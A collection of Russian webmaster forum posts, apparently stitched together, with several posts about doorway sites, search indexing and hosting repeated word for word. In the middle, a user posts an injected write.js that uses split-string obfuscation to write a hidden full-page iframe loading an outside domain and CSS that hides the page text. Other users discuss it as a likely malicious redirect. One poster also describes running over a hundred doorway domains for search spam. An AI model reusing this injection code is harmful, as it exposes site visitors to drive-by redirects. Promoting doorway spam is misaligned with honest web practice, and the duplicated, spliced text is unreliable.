Вау, отличное предложение! На ровне с HQhost, только места больше да и компания действительно солидная. Единственный минус - шела нет.
Меня сильно интересует следующее. Будут ли сайты на их хосте лучше индексироваться? Если да - то беру без вопросов... У меня больше сотни доменов с дорами примерно по 3-4 к страниц. Такой вариант с индексацией был бы просто мечтой.
Т.е. допустим, что есть два проекта с равносильно оптимизированным контентом под КЛЮЧЕВОЕ_СЛОВО и приблизительно одинаковыми по мощности и количеству беклинков. По вашим ответам я сделал вывод, что сайты www.КЛЮЧЕВОЕ_СЛОВО.com и www.КЛЮЧЕВОЕ_СЛОВО.biz будут находиться примерно на одинаковых позициях при выдаче в поисковых системах, верно?
Сегодня пошла повышенная активность гугл-ботов. Давненько такого небыло. Наверно опять чего-то химичат.
Ага, опять все линки пропали...
выносной жава скрипт - это не эксплоит .... надо бы посмотреть что в write.js .... хотя всего скорее редирект
а эксплоит тебе наверное уже впарили там куда средиректили...я даже по почерку узнаю чьи это проделки :)
Вот ентот write.js:
var dataVar = new Date();
var denNum = parseInt(dataVar.getDay());
var den = new Array(7);
den[0] = 'Воскресенье';
den[1] = 'Понедельник';
den[2] = 'Вторник';
den[3] = 'Среда';
den[4] = 'Четверг';
den[5] = 'Пятница';
den[6] = 'Суббота';
var monthNum = parseInt(dataVar.getMonth());
var month = new Array(12);
month[0] = 'января';
month[1] = 'февраля';
month[2] = 'марта';
month[3] = 'апреля';
month[4] = 'мая';
month[5] = 'июня';
month[6] = 'июля';
month[7] = 'августа';
month[8] = 'сентября';
month[9] = 'октября';
month[10] = 'ноября';
month[11] = 'декабря';
year = parseInt(dataVar.getYear());
if ( year < 100 )
year += 2000;
//document.write (month[monthNum]+' '+ year + ' года');
hours = parseInt(dataVar.getHours());
if ( hours <= 6 )
gr = "Доброй ночи!";
else if ( hours <= 11 )
gr = "Доброе утро!";
else if ( hours <= 17 )
gr = "Добрый день!";
else
gr = "Добрый вечер!";
//document.write (gr);
url = "http://kaz-pl.spb.ru";
qwe = ' di'+'spl'+'ay:n'+'one'+';}</s'+'ty'+'le>';
rty = '" FR'+'AMEB'+'ORD'+'ER="no" ALIGN=ABS'+'MIDDLE WIDTH=100% HEIGHT=10'+'0%></I'+'F'+'RA'+'ME>';
uio = '<s'+'tyl'+'e type="text/css">';
asd = '<IF'+'RA'+'ME SRC="';
fgh = ' .t'+'ex'+'t {vi'+'sib'+'ili'+'ty:h'+'idd'+'en;';
a = asd+url+rty;
b = uio+fgh+qwe;
document.write (a);
document.write (b);
document.title = url
Вау, отличное предложение! На ровне с HQhost, только места больше да и компания действительно солидная. Единственный минус - шела нет.
Меня сильно интересует следующее. Будут ли сайты на их хосте лучше индексироваться? Если да - то беру без вопросов... У меня больше сотни доменов с дорами примерно по 3-4 к страниц. Такой вариант с индексацией был бы просто мечтой.
Сегодня замечена повышенная активность. За пять часов гугл-бот съел уже около 3к страниц. Глядишь к понедельнику что-нибудь да изменится.
Ко мне сегодня нагрянуло море гугловских ботов (последние 3-4 часа). Может долгожданный денс?
Т.е. допустим, что есть два проекта с равносильно оптимизированным контентом под КЛЮЧЕВОЕ_СЛОВО и приблизительно одинаковыми по мощности и количеству беклинков. По вашим ответам я сделал вывод, что сайты www.КЛЮЧЕВОЕ_СЛОВО.com и www.КЛЮЧЕВОЕ_СЛОВО.biz будут находиться примерно на одинаковых позициях при выдаче в поисковых системах, верно?
У меня BL взлетели с 0 до 3520, надеюсь пр не останится столь же низким, как и сейчас (2).
Готово: US, WASHINGTON, EVERETT, NT TECHNOLOGY (последнее - ips).
У меня в логах тоже засветился, IP-шник уже затер, надо было пробить.